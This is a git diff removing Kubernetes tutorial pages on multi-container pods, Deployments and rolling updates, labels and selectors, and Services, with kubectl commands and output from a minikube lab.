and has the shared volume mounted to the directory /html. The second container every second adds current date and time and into index.html that is located in the shared volume. -- Nginx servers reads this file and transfers it to the user for each HTTP request to the web server. - -```sh -apiVersion: v1 -kind: Pod -metadata: - name: mc1 -spec: - volumes: - - name: html - emptyDir: {} - containers: - - name: 1st - image: nginx - volumeMounts: - - name: html - mountPath: /usr/share/nginx/html - - name: 2nd - image: debian - volumeMounts: - - name: html - mountPath: /html - command: ["/bin/sh", "-c"] - args: - - while true; do - date >> /html/index.html; - sleep 1; - done - -``` -#### kubectl apply - -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f mc1.yaml -pod/mc1 created - -``` - -#### exec into mc1 pod 1st container - -```sh -➜ k8s101 git:(main) ✗ kubectl exec mc1 -c 1st -- /bin/cat /usr/share/nginx/html/index.html -Mon Mar 6 18:30:15 UTC 2023 -Mon Mar 6 18:30:16 UTC 2023 -Mon Mar 6 18:30:17 UTC 2023 -Mon Mar 6 18:30:18 UTC 2023 -Mon Mar 6 18:30:20 UTC 2023 -Mon Mar 6 18:30:21 UTC 2023 -Mon Mar 6 18:30:22 UTC 2023 -Mon Mar 6 18:30:23 UTC 2023 -Mon Mar 6 18:30:24 UTC 2023 -Mon Mar 6 18:30:25 UTC 2023 -Mon Mar 6 18:30:26 UTC 2023 -Mon Mar 6 18:30:27 UTC 2023 -Mon Mar 6 18:30:28 UTC 2023 -Mon Mar 6 18:30:29 UTC 2023 -Mon Mar 6 18:30:30 UTC 2023 -Mon Mar 6 18:30:31 UTC 2023 -Mon Mar 6 18:30:32 UTC 2023 -Mon Mar 6 18:30:33 UTC 2023 -Mon Mar 6 18:30:34 UTC 2023 -Mon Mar 6 18:30:35 UTC 2023 -Mon Mar 6 18:30:36 UTC 2023 -Mon Mar 6 18:30:37 UTC 2023 -Mon Mar 6 18:30:38 UTC 2023 -Mon Mar 6 18:30:39 UTC 2023 -Mon Mar 6 18:30:40 UTC 2023 -Mon Mar 6 18:30:41 UTC 2023 -Mon Mar 6 18:30:42 UTC 2023 -Mon Mar 6 18:30:43 UTC 2023 -Mon Mar 6 18:30:44 UTC 2023 -Mon Mar 6 18:30:45 UTC 2023 -Mon Mar 6 18:30:46 UTC 2023 -Mon Mar 6 18:30:47 UTC 2023 -Mon Mar 6 18:30:48 UTC 2023 -Mon Mar 6 18:30:49 UTC 2023 -Mon Mar 6 18:30:50 UTC 2023 -Mon Mar 6 18:30:51 UTC 2023 -Mon Mar 6 18:30:52 UTC 2023 -Mon Mar 6 18:30:53 UTC 2023 -Mon Mar 6 18:30:54 UTC 2023 -Mon Mar 6 18:30:55 UTC 2023 -Mon Mar 6 18:30:56 UTC 2023 -Mon Mar 6 18:30:57 UTC 2023 -Mon Mar 6 18:30:58 UTC 2023 -Mon Mar 6 18:30:59 UTC 2023 -Mon Mar 6 18:31:00 UTC 2023 -Mon Mar 6 18:31:01 UTC 2023 -Mon Mar 6 18:31:02 UTC 2023 -Mon Mar 6 18:31:03 UTC 2023 -Mon Mar 6 18:31:04 UTC 2023 -Mon Mar 6 18:31:05 UTC 2023 -Mon Mar 6 18:31:06 UTC 2023 -Mon Mar 6 18:31:07 UTC 2023 -Mon Mar 6 18:31:08 UTC 2023 -Mon Mar 6 18:31:09 UTC 2023 -Mon Mar 6 18:31:10 UTC 2023 -Mon Mar 6 18:31:11 UTC 2023 -Mon Mar 6 18:31:12 UTC 2023 -Mon Mar 6 18:31:13 UTC 2023 -Mon Mar 6 18:31:14 UTC 2023 -Mon Mar 6 18:31:15 UTC 2023 -Mon Mar 6 18:31:16 UTC 2023 -Mon Mar 6 18:31:17 UTC 2023 -Mon Mar 6 18:31:18 UTC 2023 -Mon Mar 6 18:31:19 UTC 2023 -Mon Mar 6 18:31:20 UTC 2023 -Mon Mar 6 18:31:21 UTC 2023 -Mon Mar 6 18:31:22 UTC 2023 -Mon Mar 6 18:31:23 UTC 2023 -Mon Mar 6 18:31:24 UTC 2023 -Mon Mar 6 18:31:25 UTC 2023 -Mon Mar 6 18:31:26 UTC 2023 -Mon Mar 6 18:31:27 UTC 2023 -Mon Mar 6 18:31:28 UTC 2023 -Mon Mar 6 18:31:29 UTC 2023 -Mon Mar 6 18:31:30 UTC 2023 -Mon Mar 6 18:31:31 UTC 2023 -Mon Mar 6 18:31:32 UTC 2023 -Mon Mar 6 18:31:33 UTC 2023 -Mon Mar 6 18:31:34 UTC 2023 -Mon Mar 6 18:31:35 UTC 2023 -Mon Mar 6 18:31:36 UTC 2023 -Mon Mar 6 18:31:37 UTC 2023 -Mon Mar 6 18:31:38 UTC 2023 -Mon Mar 6 18:31:39 UTC 2023 -Mon Mar 6 18:31:40 UTC 2023 -Mon Mar 6 18:31:41 UTC 2023 -Mon Mar 6 18:31:42 UTC 2023 -Mon Mar 6 18:31:43 UTC 2023 -Mon Mar 6 18:31:44 UTC 2023 -Mon Mar 6 18:31:45 UTC 2023 -``` - -#### exec into mc1 pod 3nd container - -```sh - k8s101 git:(main) ✗ kubectl exec mc1 -c 2nd -i -t -- bash -il -root@mc1:/# ls -bin boot dev etc home html lib media mnt opt proc root run sbin srv sys tmp usr var -root@mc1:/# cd html -root@mc1:/html# ls -index.html -root@mc1:/html# -``` - - -#### Kubernetes has three Object Types you should know about: - -- Pods - runs one or more closely related containers - -- Services - sets up networking in a Kubernetes cluster - -- Deployment - Maintains a set of identical pods, ensuring that they have the correct config and that the right number of them exist. - -Pods: - -- Runs a single set of containers -- Good for one-off dev purposes -- Rarely used directly in production - -Deployment: - -- Runs a set of identical pods -- Monitors the state of each pod, updating as necessary -- Good for dev -- Good for production - - -Pod templates : - -Controllers for workload resources create Pods from a pod template and manage those Pods on your behalf. - --PodTemplates are specifications for creating Pods, and are included in workload resources such as Deployments, Jobs, and DaemonSets. - -``` -k8sworkshop git:(main) ✗ kubectl get all -NAME READY STATUS RESTARTS AGE -pod/command3 0/1 CrashLoopBackOff 65 (4m59s ago) 20h -pod/mc1 2/2 Running 0 77m - -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -service/kubernetes ClusterIP 10.96.0.1 443/TCP 115d - -``` - - - diff --git a/content/en/k8s/c5.Deployment-Replicaset.md b/content/en/k8s/c5.Deployment-Replicaset.md deleted file mode 100644 index 0e77361..0000000 --- a/content/en/k8s/c5.Deployment-Replicaset.md +++ /dev/null @@ -1,416 +0,0 @@ ---- -title: "Deployments and replication" -description: " Use Cases for Multi-Container Pods " -slug: "Deployments-and-replication" ---- - - -#### Kubectl explain Deployment - -```sh -k8sworkshop git:(main) ✗ kubectl explain deployments -KIND: Deployment -VERSION: apps/v1 - -DESCRIPTION: - Deployment enables declarative updates for Pods and ReplicaSets. - -FIELDS: - apiVersion - APIVersion defines the versioned schema of this representation of an - object. Servers should convert recognized schemas to the latest internal - value, and may reject unrecognized values. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources - - kind - Kind is a string value representing the REST resource this object - represents. Servers may infer this from the endpoint the client submits - requests to. Cannot be updated. In CamelCase. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds - - metadata - Standard object's metadata. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata - - spec - Specification of the desired behavior of the Deployment. - - status - Most recently observed status of the Deployment. - -➜ k8sworkshop git:(main) ✗ - -``` - - - -#### Kubectl explain Replicaset - -```sh -➜ k8sworkshop git:(main) ✗ kubectl explain rs -KIND: ReplicaSet -VERSION: apps/v1 - -DESCRIPTION: - ReplicaSet ensures that a specified number of pod replicas are running at - any given time. - -FIELDS: - apiVersion - APIVersion defines the versioned schema of this representation of an - object. Servers should convert recognized schemas to the latest internal - value, and may reject unrecognized values. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources - - kind - Kind is a string value representing the REST resource this object - represents. Servers may infer this from the endpoint the client submits - requests to. Cannot be updated. In CamelCase. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds - - metadata - If the Labels of a ReplicaSet are empty, they are defaulted to be the same - as the Pod(s) that the ReplicaSet manages. Standard object's metadata. More - info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata - - spec - Spec defines the specification of the desired behavior of the ReplicaSet. - More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status - - status - Status is the most recently observed status of the ReplicaSet. This data - may be out of date by some window of time. Populated by the system. - Read-only. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status - -➜ k8sworkshop git:(main) ✗ -``` - -#### Overview on Kubernetes Deployment - -Kubernetes also provides Deployment resource that sits on top of ReplicaSets and enables declarative application updates. - -- When running Pods in datacenter, additional features may be needed such as scalability, updates and rollback etc which are offered by Deployments
- -- A Deployment is a higher-level resource meant for deploying applications and updating them declaratively, instead of doing it through a -ReplicationController or a ReplicaSet, which are both considered lower-level concepts. -
-- When you create a Deployment, a ReplicaSet resource is created underneath. Replica-Sets replicate and manage pods, as well.
- -- When using a Deployment, the actual pods are created and managed by the Deployment’s ReplicaSets, not by the Deployment directly
- -##### Create Kubernetes Deployment resource - -In the deployment spec, following properties are managed: - -- `replicas`: explains how many copies of each Pod should be running
-- `strategy`: explains how Pods should be updated
-- `selector`: uses matchLabels to identify how labels are matched against the Pod
-- `template`: contains the pod specification and is used in a deployment to create Pods
-- `scale` deployment: `kubectl scale deployment nginx-deployment --replicas 10`
-- `set image` : `kubectl set image deployment nginx-deployment nginx=nginx:1.91 --record`
-- `rollout undo`:` kubectl rollout undo deployment nginx-deployment`
- -we will create a new deployment using kubectl using --dry-run so that actually a deployment is not created but just verified - -```sh -➜ k8sworkshop git:(main) ✗ kubectl create deployment nginx-deploy --image=nginx --dry-run=client -o yaml > nginx-deploy.yml - --- Basic Template to cleanup - -[root@controller ~]# cat nginx-deploy.yml -apiVersion: apps/v1 -kind: Deployment -metadata: - creationTimestamp: null - labels: - app: nginx-deploy - name: nginx-deploy -spec: - replicas: 1 - selector: - matchLabels: - app: nginx-deploy - strategy: {} - template: - metadata: - creationTimestamp: null - labels: - app: nginx-deploy - spec: - containers: - - image: nginx - name: nginx - resources: {} - ---- #Modify the contents of the deployment template -# cat nginx-deploy.yml -apiVersion: apps/v1 -kind: Deployment -metadata: - labels: - type: dev - name: nginx-deploy -spec: - replicas: 2 - selector: - matchLabels: - type: dev - template: - metadata: - labels: - type: dev - spec: - containers: - - image: nginx - name: nginx -``` - -```sh -➜ k8sworkshop git:(main) ✗ kubectl create -f nginx-deploy.yml -deployment.apps/nginx-deploy created - -``` -```sh -➜ k8sworkshop git:(main) ✗ kubectl rollout status deployment nginx-deploy -deployment "nginx-deploy" successfully rolled out -``` - -```sh -➜ k8sworkshop git:(main) ✗ kubectl get pods -NAME READY STATUS RESTARTS AGE -nginx-deploy-66dc98fc6f-6ws8k 1/1 Running 0 37s -nginx-deploy-66dc98fc6f-btk6j 1/1 Running 0 37s -``` -```sh -kubectl describe Pod -➜ k8sworkshop git:(main) ✗ kubectl describe Pod nginx-deploy-66dc98fc6f-6ws8k -Name: nginx-deploy-66dc98fc6f-6ws8k -Namespace: default -Priority: 0 -Service Account: default -Node: minikube/192.168.49.2 -Start Time: Tue, 07 Mar 2023 02:12:20 +0530 -Labels: pod-template-hash=66dc98fc6f - type=dev -Annotations: -Status: Running -IP: 172.17.0.4 -IPs: - IP: 172.17.0.4 -Controlled By: ReplicaSet/nginx-deploy-66dc98fc6f -Containers: - nginx: - Container ID: docker://79a285bd1e02d96c1880958d20aa4cf64060c630ecb03dac37665994a8b4574a - Image: nginx - Image ID: docker-pullable://nginx@sha256:aa0afebbb3cfa473099a62c4b32e9b3fb73ed23f2a75a65ce1d4b4f55a5c2ef2 - Port: - Host Port: - State: Running - Started: Tue, 07 Mar 2023 02:12:25 +0530 - Ready: True - Restart Count: 0 - Environment: - Mounts: - /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-7wpgb (ro) -Conditions: - Type Status - Initialized True - Ready True - ContainersReady True - PodScheduled True -Volumes: - kube-api-access-7wpgb: - Type: Projected (a volume that contains injected data from multiple sources) - TokenExpirationSeconds: 3607 - ConfigMapName: kube-root-ca.crt - ConfigMapOptional: - DownwardAPI: true -QoS Class: BestEffort -Node-Selectors: -Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s - node.kubernetes.io/unreachable:NoExecute op=Exists for 300s -Events: - Type Reason Age From Message - ---- ------ ---- ---- ------- - Normal Scheduled 93s default-scheduler Successfully assigned default/nginx-deploy-66dc98fc6f-6ws8k to minikube - Normal Pulling 92s kubelet Pulling image "nginx" - Normal Pulled 88s kubelet Successfully pulled image "nginx" in 4.282948252s - Normal Created 88s kubelet Created container nginx - Normal Started 88s kubelet Started container nginx -➜ k8sworkshop git:(main) ✗ -``` -```sh -➜ k8sworkshop git:(main) ✗ kubectl get rs -NAME DESIRED CURRENT READY AGE -nginx-deploy-66dc98fc6f 2 2 2 3m30s -``` - -##### Using Kubernetes RollingUpdate - -You have two ways of updating all those pods. You can do one of the following: - -- Recreate: Delete all existing pods first and then start the new ones. This will lead to a temporary unavailability.
-- RollingUpdate: Updates Pod one at a time to guarantee availability of the application. This is the preferred approach and you can further tune its behaviour. - -The RollingUpdate strategy options are used to guarantee a certain minimal and maximal amount of Pods to be always available: - -- maxUnavailable: The maximum number of Pods that can be unavailable during updating. The value could be a percentage (the default is 25%). -- maxSurge: The maximum number of Pods that can be created over the desired number of ReplicaSet during updating. the value of maxSurge cannot be 0 - - -```sh -vim rolling-nginx.yml ----- -# cat rolling-nginx.yml -apiVersion: apps/v1 -kind: Deployment -metadata: - name: rolling-nginx -spec: - replicas: 4 - strategy: - type: RollingUpdate - rollingUpdate: - maxSurge: 1 - maxUnavailable: 1 - selector: - matchLabels: - app: rolling-nginx - template: - metadata: - labels: - app: rolling-nginx - spec: - containers: - - name: nginx - image: nginx:1.9 -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl create -f rolling-nginx.yml -deployment.apps/rolling-nginx created -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -NAME READY STATUS RESTARTS AGE -nginx-deploy-66dc98fc6f-6ws8k 1/1 Running 0 15m -nginx-deploy-66dc98fc6f-btk6j 1/1 Running 0 15m -rolling-nginx-77f89bcf9c-2cgps 0/1 ContainerCreating 0 13s -rolling-nginx-77f89bcf9c-l7cvh 0/1 ContainerCreating 0 13s -rolling-nginx-77f89bcf9c-nx888 0/1 ContainerCreating 0 13s -rolling-nginx-77f89bcf9c-xn2z5 0/1 ContainerCreating 0 13s -``` -```sh -➜ k8s101 git:(main) ✗ kubectl get deployments -NAME READY UP-TO-DATE AVAILABLE AGE -nginx-deploy 2/2 2 2 15m -rolling-nginx 1/4 4 1 50s -``` -```sh -➜ k8s101 git:(main) ✗ kubectl get event --field-selector involvedObject.name=rolling-nginx-77f89bcf9c-xn2z5 -LAST SEEN TYPE REASON OBJECT MESSAGE -99s Normal Scheduled pod/rolling-nginx-77f89bcf9c-xn2z5 Successfully assigned default/rolling-nginx-77f89bcf9c-xn2z5 to minikube -99s Normal Pulling pod/rolling-nginx-77f89bcf9c-xn2z5 Pulling image "nginx:1.9" -43s Normal Pulled pod/rolling-nginx-77f89bcf9c-xn2z5 Successfully pulled image "nginx:1.9" in 56.078369942s -43s Normal Created pod/rolling-nginx-77f89bcf9c-xn2z5 Created container nginx -43s Normal Started pod/rolling-nginx-77f89bcf9c-xn2z5 Started container nginx -``` -#### Check rollout history - -But why CHANGE-CAUSE is showing NONE? It is because we have not used --record while creating our deployment. -The --record argument will add the command under CHANGE-CAUSE for each revision history -```sh - k8s101 git:(main) ✗ kubectl rollout history deployment rolling-nginx -deployment.apps/rolling-nginx -REVISION CHANGE-CAUSE -1 - -➜ k8s101 git:(main) ✗ kubectl delete deployment rolling-nginx -deployment.apps "rolling-nginx" deleted -``` - -#### this time I will use --record along with kubectl create: - -```sh -k8s101 git:(main) ✗ kubectl create -f rolling-nginx.yml --record -Flag --record has been deprecated, --record will be removed in the future -deployment.apps/rolling-nginx created -``` -```sh -➜ k8s101 git:(main) ✗ kubectl rollout history deployment rolling-nginx -deployment.apps/rolling-nginx -REVISION CHANGE-CAUSE -1 kubectl create --filename=rolling-nginx.yml --record=true -``` -```sh -➜ k8s101 git:(main) ✗ kubectl set image deployment rolling-nginx nginx=nginx:1.15 --record -Flag --record has been deprecated, --record will be removed in the future -deployment.apps/rolling-nginx image updated -``` -#### Monitor the rolling update status - -To monitor the rollout status you can use: - -```sh -➜ k8s101 git:(main) ✗ kubectl set image deployment rolling-nginx nginx=nginx:1.16 --record -Flag --record has been deprecated, --record will be removed in the future -deployment.apps/rolling-nginx image updated -``` -```sh -➜ k8s101 git:(main) ✗ kubectl rollout pause deployment rolling-nginx -deployment.apps/rolling-nginx paused -``` -```sh -➜ k8s101 git:(main) ✗ kubectl rollout status deployment rolling-nginx -deployment "rolling-nginx" successfully rolled out -``` -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -l app=rolling-nginx -NAME READY STATUS RESTARTS AGE -rolling-nginx-55fc56899f-8hlm4 1/1 Running 0 2m30s -rolling-nginx-55fc56899f-g4b6p 1/1 Running 0 2m30s -rolling-nginx-55fc56899f-hnbs8 1/1 Running 0 2m22s -rolling-nginx-55fc56899f-jngcd 1/1 Running 0 2m21s -``` -```sh -➜ k8s101 git:(main) ✗ kubectl rollout resume deployment rolling-nginx -deployment.apps/rolling-nginx resumed -``` - -#### Rolling back (undo) an update -To monitor the rollout status you can use: - -```sh -➜ k8s101 git:(main) ✗ kubectl rollout history deployment rolling-nginx -deployment.apps/rolling-nginx -REVISION CHANGE-CAUSE -1 kubectl create --filename=rolling-nginx.yml --record=true -2 kubectl set image deployment rolling-nginx nginx=nginx:1.15 --record=true -3 kubectl set image deployment rolling-nginx nginx=nginx:1.16 --record=true -``` -```sh -➜ k8s101 git:(main) ✗ kubectl rollout undo deployment rolling-nginx --to-revision=2 -deployment.apps/rolling-nginx rolled back -``` -```sh -➜ k8s101 git:(main) ✗ kubectl rollout status deployment rolling-nginx -deployment "rolling-nginx" successfully rolled out - -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl delete pod --all -pod "nginx-deploy-66dc98fc6f-6ws8k" deleted -pod "nginx-deploy-66dc98fc6f-btk6j" deleted -pod "rolling-nginx-b746d459b-874mv" deleted -pod "rolling-nginx-b746d459b-gtgpk" deleted -pod "rolling-nginx-b746d459b-txc5j" deleted -pod "rolling-nginx-b746d459b-vw4rf" deleted -➜ k8s101 git:(main) ✗ kubectl delete deployment --all -deployment.apps "nginx-deploy" deleted -deployment.apps "rolling-nginx" deleted -``` diff --git a/content/en/k8s/c6.labels-selectors.md b/content/en/k8s/c6.labels-selectors.md deleted file mode 100644 index 328cf23..0000000 --- a/content/en/k8s/c6.labels-selectors.md +++ /dev/null @@ -1,257 +0,0 @@ ---- -title: "Labels and Selectors " -description: " Selectors Labels " -slug: "Labels-and-Selectors" ---- - -#### Labels - Maps (aka Dictionaries) - -```sh -➜ k8s101 git:(main) ✗ kubectl explain deployment.metadata.labels -KIND: Deployment -VERSION: apps/v1 - -FIELD: labels - -DESCRIPTION: - Map of string keys and values that can be used to organize and categorize - (scope and select) objects. May match selectors of replication controllers - and services. More info: http://kubernetes.io/docs/user-guide/labels -``` - -- Labels are attached to Kubernetes objects and are simple key: value pairs or maps(dictionary).
-- Labels are used to store identifying information about a thing that you might need to query against.
-- Labels are used for organization and selection of subsets of objects, and can be added to objects at creation time and/or modified at any time during cluster operations.
-- You will see them on pods, replication controllers, replica sets, services, and so on.
- -```sh -“labels”: { -“tier”: “frontend” -env: prod -} - -``` - -#### Selectors - Maps (aka Dictionaries) - -- Labels are queryable — which makes them especially useful in organizing things
-- A label selector is a string that identifies which labels you are trying to match
-- You will see them on pods, replication controllers, replica sets, services, and so on.
- -``````sh -tier = frontend -tier != frontend -environment in (production, qa) -`````` - -#### Annotations -- Annotations are bits of useful information you might want to store about a pod (or cluster, node, etc.) that you will not have to query against. -- They are also key/value pairs and have the same rules as labels. -- Examples of things you might put there are the pager contact, the build date, or a pointer to more information someplace else—like a URL. - -#### Method-1: Assign labels while creating a new object - -```sh -kubectl create deployment label-nginx-example --image=nginx --dry-run=client -oyaml > label-nginx-example.yml -# clean up the template and add a label app: prod -``` - -```sh -➜ k8s101 git:(main) ✗ cat label-nginx-example.yml -apiVersion: apps/v1 -kind: Deployment -metadata: - labels: - app: prod - name: label-nginx-example -spec: - replicas: 2 - selector: - matchLabels: - app: prod - template: - metadata: - labels: - app: prod - spec: - containers: - - image: nginx - name: nginx -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl create -f label-nginx-example.yml -deployment.apps/label-nginx-example created -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl get deployments --show-labels - -NAME READY UP-TO-DATE AVAILABLE AGE LABELS -label-nginx-example 1/1 1 1 23s app=label-nginx-example -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl get pods --show-labels -NAME READY STATUS RESTARTS AGE LABELS -label-nginx-example-848d6df75-x8bb6 1/1 Running 0 45s app=label-nginx-example,pod-template-hash=848d6df75 -➜ k8s101 git:(main) ✗ - -``` - - -#### Assign a new label to existing pod runtime as a patch - -will assign new label "tier: frontend" to our existing Pods from the deployment label-nginx-example - -```sh -[root@controller ~]# cat update-label.yml -spec: - template: - metadata: - labels: - tier: frontend -``` - -### Next patch the deployment with this YAML file - -```sh -➜ k8s101 git:(main) ✗ kubectl patch deployment label-nginx-example --patch "$(cat update-label.yml)" -deployment.apps/label-nginx-example patched -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl describe deployment label-nginx-example -Name: label-nginx-example -Namespace: default -CreationTimestamp: Tue, 07 Mar 2023 05:40:07 +0530 -Labels: app=label-nginx-example -Annotations: deployment.kubernetes.io/revision: 2 -Selector: app=label-nginx-example -Replicas: 1 desired | 1 updated | 1 total | 1 available | 0 unavailable -StrategyType: RollingUpdate -MinReadySeconds: 0 -RollingUpdateStrategy: 25% max unavailable, 25% max surge -Pod Template: - Labels: app=label-nginx-example - tier=frontend - Containers: - nginx: - Image: nginx - Port: - Host Port: - Environment: - Mounts: - Volumes: -Conditions: - Type Status Reason - ---- ------ ------ - Available True MinimumReplicasAvailable - Progressing True NewReplicaSetAvailable -OldReplicaSets: -NewReplicaSet: label-nginx-example-5f8bc677b9 (1/1 replicas created) -Events: - Type Reason Age From Message - ---- ------ ---- ---- ------- - Normal ScalingReplicaSet 4m35s deployment-controller Scaled up replica set label-nginx-example-848d6df75 to 1 - Normal ScalingReplicaSet 74s deployment-controller Scaled up replica set label-nginx-example-5f8bc677b9 to 1 - Normal ScalingReplicaSet 70s deployment-controller Scaled down replica set label-nginx-example-848d6df75 to 0 from 1 -➜ k8s101 git:(main) ✗ -``` -```sh -➜ k8s101 git:(main) ✗ kubectl get pods --show-labels -NAME READY STATUS RESTARTS AGE LABELS -label-nginx-example-5f8bc677b9-92lp9 1/1 Running 0 7m31s app=label-nginx-example,pod-template-hash=5f8bc677b9,tier=frontend -``` - - -#### Method-3: Assign a new label to existing deployments runtime using kubectl - -I have another deployment nginx-deploy on my cluster, so I will assign label tier: backend to this deployment: - -```sh -kubectl label deployment nginx-deploy tier=backend - -kubectl get deployments --show-labels - -``` -#### Using labels to list resource objects - -```sh -kubectl get pods --show-labels - -kubectl get deployments --show-labels - -kubectl get all --show-labels - ---- #To list all the deployments using type: dev label: -kubectl get deployments -l type=dev - -kubectl get pods -l app=prod -``` - -#### Using Selector to list resource objects - -I will create another deployment here with two labels and use one of the label as selector: - -```sh -# cat lab-nginx.yml -apiVersion: apps/v1 -kind: Deployment -metadata: - labels: - app: dev - tier: backend - name: lab-nginx -spec: - replicas: 2 - selector: - matchLabels: - app: dev - template: - metadata: - labels: - app: dev - spec: - containers: - - image: nginx - name: nginx -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl create -f lab-nginx.yml -deployment.apps/lab-nginx created -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl get pods --show-labels -NAME READY STATUS RESTARTS AGE LABELS -lab-nginx-84756b7fc4-8h2jr 1/1 Running 0 31s app=dev,pod-template-hash=84756b7fc4 -lab-nginx-84756b7fc4-pgxbr 1/1 Running 0 31s app=dev,pod-template-hash=84756b7fc4 -label-nginx-example-5f8bc677b9-92lp9 1/1 Running 0 14m app=label-nginx-example,pod-template-hash=5f8bc677b9,tier=frontend -``` - -```sh -➜ k8s101 git:(main) ✗ -kubectl get pods --selector "app=dev" -NAME READY STATUS RESTARTS AGE -lab-nginx-84756b7fc4-8h2jr 1/1 Running 0 5m44s -lab-nginx-84756b7fc4-pgxbr 1/1 Running 0 5m44s -➜ k8s101 git:(main) ✗ -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -l app=dev -NAME READY STATUS RESTARTS AGE -lab-nginx-84756b7fc4-8h2jr 1/1 Running 0 6m47s -lab-nginx-84756b7fc4-pgxbr 1/1 Running 0 6m47s -``` - -##### Removing labels - -``` -kubectl get pods --show-labels - -kubectl get deployments --show-labels - -``` diff --git a/content/en/k8s/c7.Services.md b/content/en/k8s/c7.Services.md deleted file mode 100644 index 273927a..0000000 --- a/content/en/k8s/c7.Services.md +++ /dev/null @@ -1,287 +0,0 @@ ---- -title: "Kubernetes Service " -description: " Use Cases for Multi-Container Pods " -slug: "Kubernetes-Service" ---- - -#### kubectl explain svc - -```sh -➜ k8s101 git:(main) ✗ kubectl explain svc -KIND: Service -VERSION: v1 - -DESCRIPTION: - Service is a named abstraction of software service (for example, mysql) - consisting of local port (for example 3306) that the proxy listens on, and - the selector that determines which pods will answer requests sent through - the proxy. - -FIELDS: - apiVersion - APIVersion defines the versioned schema of this representation of an - object. Servers should convert recognized schemas to the latest internal - value, and may reject unrecognized values. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources - - kind - Kind is a string value representing the REST resource this object - represents. Servers may infer this from the endpoint the client submits - requests to. Cannot be updated. In CamelCase. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds - - metadata - Standard object's metadata. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata - - spec - Spec defines the behavior of a service. - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status - - status - Most recently observed status of the service. Populated by the system. - Read-only. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status - - -``` - -#### Create Kubernetes Service - -A Kubernetes Service is an object you create to provide a single, stable access point to a set of pods that provide the same service.
- -A service can be backed by more than one pod. When you connect to a service, the connection is passed to one of the backing pods.
- -Add labels to Pod objects and specify the label selector in the Service object. The pods whose labels match the selector are part of the service registered service endpoints.
- -- The shorthand for services is svc
- -#### Understanding different Kubernetes Service Types - -- ClusterIP: It is the default type, but it provides internal access only.
- -- NodePort: which allocates a specific node port which needs to be opened on the firewall. That means that by using these node ports, external users, as long as they can reach out to the nodes' IP addresses, are capable of reaching out to the Service. -
-- LoadBalancer: currently only implemented in public cloud. So if you're on Kubernetes in Azure or AWS, you will find a load balancer.
- -- ExternalName: which is a relatively new object that works on DNS names and redirection is happening at the DNS level. -Service without selector: which is used for direct connections based on IP port combinations without an endpoint. And this is useful for connections to a database or between namespaces. -
- -#### Using kubectl expose - -The easiest way to create a service is through kubectl expose - -```sh -kubectl create deployment nginx-lab-1 --image=nginx --replicas=3 --dry-run=client -o yaml > nginx-lab-1.yml - ----- # modify few sections and following is my final template file to create a new deployment nginx-lab-1 with a label app=dev and 3 replicas. -apiVersion: apps/v1 -kind: Deployment -metadata: - labels: - app: dev - name: nginx-lab-1 -spec: - replicas: 3 - selector: - matchLabels: - app: dev - template: - metadata: - labels: - app: dev - spec: - containers: - - image: nginx - name: nginx - ---- -# cat quote for pod -apiVersion: v1 -kind: Service -metadata: - name: quote -spec: - type: ClusterIP - selector: - app: quote - ports: - - name: http - port: 80 - targetPort: 80 - protocol: TCP - -``` - -``` -➜ k8s101 git:(main) ✗ kubectl create -f nginx-lab-1.yml -deployment.apps/nginx-lab-1 created -service/quote created - -``` - -#### To create the service, you’ll tell Kubernetes to expose the Deployment you created earlier, here port 80 is the default port on which our nginx application would be listening on. - -```sh -➜ k8s101 git:(main) ✗ kubectl expose deployment nginx-lab-1 --type=NodePort --port=80 -service/nginx-lab-1 exposed -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl describe svc nginx-lab-1 -Name: nginx-lab-1 -Namespace: default -Labels: app=dev -Annotations: -Selector: app=dev -Type: NodePort -IP Family Policy: SingleStack -IP Families: IPv4 -IP: 10.98.242.63 -IPs: 10.98.242.63 -Port: 80/TCP -TargetPort: 80/TCP -NodePort: 31613/TCP -Endpoints: 172.17.0.13:80,172.17.0.14:80,172.17.0.15:80 + 2 more... -Session Affinity: None -External Traffic Policy: Cluster -Events: - -``` - -##### Accessing cluster-internal services - -- The ClusterIP services you created in the previous section are accessible only within the cluster, from other pods and from the cluster nodes.
-- use the kubectl exec command to run a command like curl in an existing pod and get it to connect to the service.
